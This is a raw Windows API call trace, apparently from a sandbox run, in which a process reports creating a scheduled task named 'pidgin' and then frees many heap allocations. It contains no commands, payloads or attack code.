GetProcessHeap () returned 0x144ec910000 [0113.543] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91a910) returned 1 [0113.543] GetProcessHeap () returned 0x144ec910000 [0113.543] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91a910) returned 0xe [0113.543] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91a910) returned 1 [0113.543] GetProcessHeap () returned 0x144ec910000 [0113.543] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x82) returned 0x144ec92a220 [0113.544] _vsnwprintf (in: _Buffer=0x28fa76d8b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x28fa76d148 | out: _Buffer="SUCCESS: The scheduled task \"pidgin\" has successfully been created.\n") returned 68 [0113.544] __iob_func () returned 0x7ffa7941e210 [0113.544] _fileno (_File=0x7ffa7941e240) returned -2 [0113.544] _errno () returned 0x144eca80840 [0113.544] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0113.547] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0113.547] lstrlenW (lpString="SUCCESS: The scheduled task \"pidgin\" has successfully been created.\n") returned 68 [0113.547] GetConsoleOutputCP () returned 0x0 [0113.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"pidgin\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0113.547] GetConsoleOutputCP () returned 0x0 [0113.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"pidgin\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"pidgin\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 68 [0113.547] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 68 [0113.547] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0113.548] IUnknown:Release (This=0x144eca86fd0) returned 0x0 [0113.548] TaskScheduler:IUnknown:Release (This=0x144eca858b0) returned 0x0 [0113.548] TaskScheduler:IUnknown:Release (This=0x144eca85830) returned 0x0 [0113.548] TaskScheduler:IUnknown:Release (This=0x144eca856e0) returned 0x0 [0113.548] lstrlenW (lpString="") returned 0 [0113.548] GetProcessHeap () returned 0x144ec910000 [0113.548] GetProcessHeap () returned 0x144ec910000 [0113.548] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91acb0) returned 1 [0113.548] GetProcessHeap () returned 0x144ec910000 [0113.548] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91acb0) returned 0x1fc [0113.549] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91acb0) returned 1 [0113.549] GetProcessHeap () returned 0x144ec910000 [0113.549] GetProcessHeap () returned 0x144ec910000 [0113.549] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91ac10) returned 1 [0113.549] GetProcessHeap () returned 0x144ec910000 [0113.549] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91ac10) returned 0x16 [0113.549] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91ac10) returned 1 [0113.549] GetProcessHeap () returned 0x144ec910000 [0113.549] GetProcessHeap () returned 0x144ec910000 [0113.549] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91a970) returned 1 [0113.549] GetProcessHeap () returned 0x144ec910000 [0113.549] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91a970) returned 0x18 [0113.549] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91a970) returned 1 [0113.549] GetProcessHeap () returned 0x144ec910000 [0113.549] GetProcessHeap () returned 0x144ec910000 [0113.549] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b4a0) returned 1 [0113.549] GetProcessHeap () returned 0x144ec910000 [0113.549] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b4a0) returned 0x20 [0113.550] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b4a0) returned 1 [0113.550] GetProcessHeap () returned 0x144ec910000 [0113.550] GetProcessHeap () returned 0x144ec910000 [0113.550] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec913e60) returned 1 [0113.550] GetProcessHeap () returned 0x144ec910000 [0113.550] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec913e60) returned 0xa0 [0113.550] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec913e60) returned 1 [0113.550] GetProcessHeap () returned 0x144ec910000 [0113.550] GetProcessHeap () returned 0x144ec910000 [0113.550] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9147f0) returned 1 [0113.550] GetProcessHeap () returned 0x144ec910000 [0113.550] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9147f0) returned 0x18 [0113.550] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9147f0) returned 1 [0113.550] GetProcessHeap () returned 0x144ec910000 [0113.550] GetProcessHeap () returned 0x144ec910000 [0113.550] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b9e0) returned 1 [0113.550] GetProcessHeap () returned 0x144ec910000 [0113.551] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b9e0) returned 0x20 [0113.551] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b9e0) returned 1 [0113.551] GetProcessHeap () returned 0x144ec910000 [0113.551] GetProcessHeap () returned 0x144ec910000 [0113.551] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91bdd0) returned 1 [0113.552] GetProcessHeap () returned 0x144ec910000 [0113.552] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91bdd0) returned 0x44 [0113.552] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91bdd0) returned 1 [0113.552] GetProcessHeap () returned 0x144ec910000 [0113.552] GetProcessHeap () returned 0x144ec910000 [0113.552] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91a950) returned 1 [0113.552] GetProcessHeap () returned 0x144ec910000 [0113.552] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91a950) returned 0x18 [0113.552] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91a950) returned 1 [0113.552] GetProcessHeap () returned 0x144ec910000 [0113.552] GetProcessHeap () returned 0x144ec910000 [0113.552] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b410) returned 1 [0113.552] GetProcessHeap () returned 0x144ec910000 [0113.552] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b410) returned 0x20 [0113.553] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b410) returned 1 [0113.553] GetProcessHeap () returned 0x144ec910000 [0113.553] GetProcessHeap () returned 0x144ec910000 [0113.553] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9142c0) returned 1 [0113.553] GetProcessHeap () returned 0x144ec910000 [0113.553] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9142c0) returned 0x46 [0113.554] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9142c0) returned 1 [0113.554] GetProcessHeap () returned 0x144ec910000 [0113.554] GetProcessHeap () returned 0x144ec910000 [0113.554] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91ab10) returned 1 [0113.554] GetProcessHeap () returned 0x144ec910000 [0113.554] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91ab10) returned 0x18 [0113.554] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91ab10) returned 1 [0113.554] GetProcessHeap () returned 0x144ec910000 [0113.554] GetProcessHeap () returned 0x144ec910000 [0113.554] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec919200) returned 1 [0113.554] GetProcessHeap () returned 0x144ec910000 [0113.554] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec919200) returned 0x20 [0113.554] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec919200) returned 1 [0113.554] GetProcessHeap () returned 0x144ec910000 [0113.555] GetProcessHeap () returned 0x144ec910000 [0113.555] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91a9f0) returned 1 [0113.555] GetProcessHeap () returned 0x144ec910000 [0113.555] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91a9f0) returned 0xe [0113.555] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91a9f0) returned 1 [0113.555] GetProcessHeap () returned 0x144ec910000 [0113.555] GetProcessHeap () returned 0x144ec910000 [0113.555] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9142a0) returned 1 [0113.555] GetProcessHeap () returned 0x144ec910000 [0113.555] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9142a0) returned 0x18 [0113.555] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9142a0) returned 1 [0113.555] GetProcessHeap () returned 0x144ec910000 [0113.555] GetProcessHeap () returned 0x144ec910000 [0113.555] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec919020) returned 1 [0113.555] GetProcessHeap () returned 0x144ec910000 [0113.555] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec919020) returned 0x20 [0113.556] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec919020) returned 1 [0113.556] GetProcessHeap () returned 0x144ec910000 [0113.556] GetProcessHeap () returned 0x144ec910000 [0113.556] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec919b40) returned 1 [0113.556] GetProcessHeap () returned 0x144ec910000 [0113.556] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec919b40) returned 0x208 [0113.556] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec919b40) returned 1 [0113.556] GetProcessHeap () returned 0x144ec910000 [0113.556] GetProcessHeap () returned 0x144ec910000 [0113.556] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914760) returned 1 [0113.556] GetProcessHeap () returned 0x144ec910000 [0113.556] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914760) returned 0x18 [0113.556] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914760) returned 1 [0113.556] GetProcessHeap () returned 0x144ec910000 [0113.557] GetProcessHeap () returned 0x144ec910000 [0113.557] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9191d0) returned 1 [0113.557] GetProcessHeap () returned 0x144ec910000 [0113.557] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9191d0) returned 0x20 [0113.557] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9191d0) returned 1 [0113.557] GetProcessHeap () returned 0x144ec910000 [0113.557] GetProcessHeap () returned 0x144ec910000 [0113.557] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91bb70) returned 1 [0113.557] GetProcessHeap () returned 0x144ec910000 [0113.557] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91bb70) returned 0x200 [0113.558] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91bb70) returned 1 [0113.558] GetProcessHeap () returned 0x144ec910000 [0113.558] GetProcessHeap () returned 0x144ec910000 [0113.558] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914810) returned 1 [0113.558] GetProcessHeap () returned 0x144ec910000 [0113.558] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914810) returned 0x18 [0113.558] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914810) returned 1 [0113.558] GetProcessHeap () returned 0x144ec910000 [0113.558] GetProcessHeap () returned 0x144ec910000 [0113.558] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec918ff0) returned 1 [0113.558] GetProcessHeap () returned 0x144ec910000 [0113.558] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec918ff0) returned 0x20 [0113.559] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec918ff0) returned 1 [0113.559] GetProcessHeap () returned 0x144ec910000 [0113.562] GetProcessHeap () returned 0x144ec910000 [0113.562] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9138d0) returned 1 [0113.562] GetProcessHeap () returned 0x144ec910000 [0113.562] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9138d0) returned 0x14 [0113.562] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9138d0) returned 1 [0113.562] GetProcessHeap () returned 0x144ec910000 [0113.562] GetProcessHeap () returned 0x144ec910000 [0113.562] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9138b0) returned 1 [0113.562] GetProcessHeap () returned 0x144ec910000 [0113.562] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9138b0) returned 0x18 [0113.562] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9138b0) returned 1 [0113.562] GetProcessHeap () returned 0x144ec910000 [0113.562] GetProcessHeap () returned 0x144ec910000 [0113.562] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec918f30) returned 1 [0113.562] GetProcessHeap () returned 0x144ec910000 [0113.562] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec918f30) returned 0x20 [0113.563] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec918f30) returned 1 [0113.563] GetProcessHeap () returned 0x144ec910000 [0113.563] GetProcessHeap () returned 0x144ec910000 [0113.563] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9138f0) returned 1 [0113.563] GetProcessHeap () returned 0x144ec910000 [0113.563] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9138f0) returned 0x16 [0113.563] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9138f0) returned 1 [0113.563] GetProcessHeap () returned 0x144ec910000 [0113.563] GetProcessHeap () returned 0x144ec910000 [0113.563] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec913f30) returned 1 [0113.563] GetProcessHeap () returned 0x144ec910000 [0113.563] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec913f30) returned 0x18 [0113.563] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec913f30) returned 1 [0113.563] GetProcessHeap () returned 0x144ec910000 [0113.563] GetProcessHeap () returned 0x144ec910000 [0113.563] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec918ea0) returned 1 [0113.563] GetProcessHeap () returned 0x144ec910000 [0113.563] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec918ea0) returned 0x20 [0113.564] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec918ea0) returned 1 [0113.564] GetProcessHeap () returned 0x144ec910000 [0113.564] GetProcessHeap () returned 0x144ec910000 [0113.564] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914a10) returned 1 [0113.564] GetProcessHeap () returned 0x144ec910000 [0113.564] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914a10) returned 0x2 [0113.564] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914a10) returned 1 [0113.564] GetProcessHeap () returned 0x144ec910000 [0113.564] GetProcessHeap () returned 0x144ec910000 [0113.564] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914a30) returned 1 [0113.564] GetProcessHeap () returned 0x144ec910000 [0113.564] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914a30) returned 0x20 [0113.565] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914a30) returned 1 [0113.565] GetProcessHeap () returned 0x144ec910000 [0113.565] GetProcessHeap () returned 0x144ec910000 [0113.565] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9143c0) returned 1 [0113.565] GetProcessHeap () returned 0x144ec910000 [0113.565] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9143c0) returned 0x20 [0113.565] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9143c0) returned 1 [0113.565] GetProcessHeap () returned 0x144ec910000 [0113.565] GetProcessHeap () returned 0x144ec910000 [0113.565] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec9143f0) returned 1 [0113.565] GetProcessHeap () returned 0x144ec910000 [0113.565] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec9143f0) returned 0x20 [0113.566] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec9143f0) returned 1 [0113.566] GetProcessHeap () returned 0x144ec910000 [0113.566] GetProcessHeap () returned 0x144ec910000 [0113.566] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914420) returned 1 [0113.566] GetProcessHeap () returned 0x144ec910000 [0113.566] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914420) returned 0x20 [0113.567] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914420) returned 1 [0113.567] GetProcessHeap () returned 0x144ec910000 [0113.567] GetProcessHeap () returned 0x144ec910000 [0113.567] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b7d0) returned 1 [0113.567] GetProcessHeap () returned 0x144ec910000 [0113.567] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b7d0) returned 0x20 [0113.567] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b7d0) returned 1 [0113.567] GetProcessHeap () returned 0x144ec910000 [0113.567] GetProcessHeap () returned 0x144ec910000 [0113.567] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91ab90) returned 1 [0113.567] GetProcessHeap () returned 0x144ec910000 [0113.567] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91ab90) returned 0xc [0113.568] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91ab90) returned 1 [0113.568] GetProcessHeap () returned 0x144ec910000 [0113.568] GetProcessHeap () returned 0x144ec910000 [0113.568] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b8f0) returned 1 [0113.568] GetProcessHeap () returned 0x144ec910000 [0113.568] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b8f0) returned 0x20 [0113.568] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b8f0) returned 1 [0113.568] GetProcessHeap () returned 0x144ec910000 [0113.568] GetProcessHeap () returned 0x144ec910000 [0113.568] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec913850) returned 1 [0113.568] GetProcessHeap () returned 0x144ec910000 [0113.568] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec913850) returned 0x30 [0113.569] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec913850) returned 1 [0113.569] GetProcessHeap () returned 0x144ec910000 [0113.569] GetProcessHeap () returned 0x144ec910000 [0113.569] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b8c0) returned 1 [0113.569] GetProcessHeap () returned 0x144ec910000 [0113.569] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b8c0) returned 0x20 [0113.570] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b8c0) returned 1 [0113.570] GetProcessHeap () returned 0x144ec910000 [0113.570] GetProcessHeap () returned 0x144ec910000 [0113.570] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914310) returned 1 [0113.570] GetProcessHeap () returned 0x144ec910000 [0113.570] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914310) returned 0x30 [0113.571] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914310) returned 1 [0113.571] GetProcessHeap () returned 0x144ec910000 [0113.571] GetProcessHeap () returned 0x144ec910000 [0113.571] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91bb00) returned 1 [0113.571] GetProcessHeap () returned 0x144ec910000 [0113.571] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91bb00) returned 0x20 [0113.571] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91bb00) returned 1 [0113.571] GetProcessHeap () returned 0x144ec910000 [0113.571] GetProcessHeap () returned 0x144ec910000 [0113.571] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91abb0) returned 1 [0113.571] GetProcessHeap () returned 0x144ec910000 [0113.572] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91abb0) returned 0x16 [0113.572] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91abb0) returned 1 [0113.572] GetProcessHeap () returned 0x144ec910000 [0113.572] GetProcessHeap () returned 0x144ec910000 [0113.572] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b770) returned 1 [0113.572] GetProcessHeap () returned 0x144ec910000 [0113.572] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b770) returned 0x20 [0113.572] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b770) returned 1 [0113.572] GetProcessHeap () returned 0x144ec910000 [0113.572] GetProcessHeap () returned 0x144ec910000 [0113.572] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91aab0) returned 1 [0113.572] GetProcessHeap () returned 0x144ec910000 [0113.572] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91aab0) returned 0x16 [0113.573] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91aab0) returned 1 [0113.573] GetProcessHeap () returned 0x144ec910000 [0113.573] GetProcessHeap () returned 0x144ec910000 [0113.573] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91ba70) returned 1 [0113.573] GetProcessHeap () returned 0x144ec910000 [0113.573] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91ba70) returned 0x20 [0113.573] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91ba70) returned 1 [0113.573] GetProcessHeap () returned 0x144ec910000 [0113.573] GetProcessHeap () returned 0x144ec910000 [0113.573] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec92a220) returned 1 [0113.573] GetProcessHeap () returned 0x144ec910000 [0113.573] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec92a220) returned 0x82 [0113.574] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec92a220) returned 1 [0113.574] GetProcessHeap () returned 0x144ec910000 [0113.574] GetProcessHeap () returned 0x144ec910000 [0113.574] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91bb30) returned 1 [0113.574] GetProcessHeap () returned 0x144ec910000 [0113.577] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91bb30) returned 0x20 [0113.578] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91bb30) returned 1 [0113.578] GetProcessHeap () returned 0x144ec910000 [0113.578] GetProcessHeap () returned 0x144ec910000 [0113.578] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91ac70) returned 1 [0113.578] GetProcessHeap () returned 0x144ec910000 [0113.578] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91ac70) returned 0xe [0113.578] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91ac70) returned 1 [0113.578] GetProcessHeap () returned 0x144ec910000 [0113.578] GetProcessHeap () returned 0x144ec910000 [0113.578] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b6e0) returned 1 [0113.578] GetProcessHeap () returned 0x144ec910000 [0113.578] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b6e0) returned 0x20 [0113.579] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b6e0) returned 1 [0113.579] GetProcessHeap () returned 0x144ec910000 [0113.579] GetProcessHeap () returned 0x144ec910000 [0113.579] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91ab50) returned 1 [0113.579] GetProcessHeap () returned 0x144ec910000 [0113.579] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91ab50) returned 0xc [0113.579] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91ab50) returned 1 [0113.579] GetProcessHeap () returned 0x144ec910000 [0113.579] GetProcessHeap () returned 0x144ec910000 [0113.579] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b440) returned 1 [0113.579] GetProcessHeap () returned 0x144ec910000 [0113.579] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b440) returned 0x20 [0113.580] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b440) returned 1 [0113.580] GetProcessHeap () returned 0x144ec910000 [0113.580] GetProcessHeap () returned 0x144ec910000 [0113.580] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91a990) returned 1 [0113.580] GetProcessHeap () returned 0x144ec910000 [0113.580] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91a990) returned 0xe [0113.580] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91a990) returned 1 [0113.580] GetProcessHeap () returned 0x144ec910000 [0113.580] GetProcessHeap () returned 0x144ec910000 [0113.580] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b800) returned 1 [0113.580] GetProcessHeap () returned 0x144ec910000 [0113.580] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b800) returned 0x20 [0113.581] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b800) returned 1 [0113.581] GetProcessHeap () returned 0x144ec910000 [0113.581] GetProcessHeap () returned 0x144ec910000 [0113.581] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91ab70) returned 1 [0113.581] GetProcessHeap () returned 0x144ec910000 [0113.581] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91ab70) returned 0x10 [0113.581] RtlFreeHeap 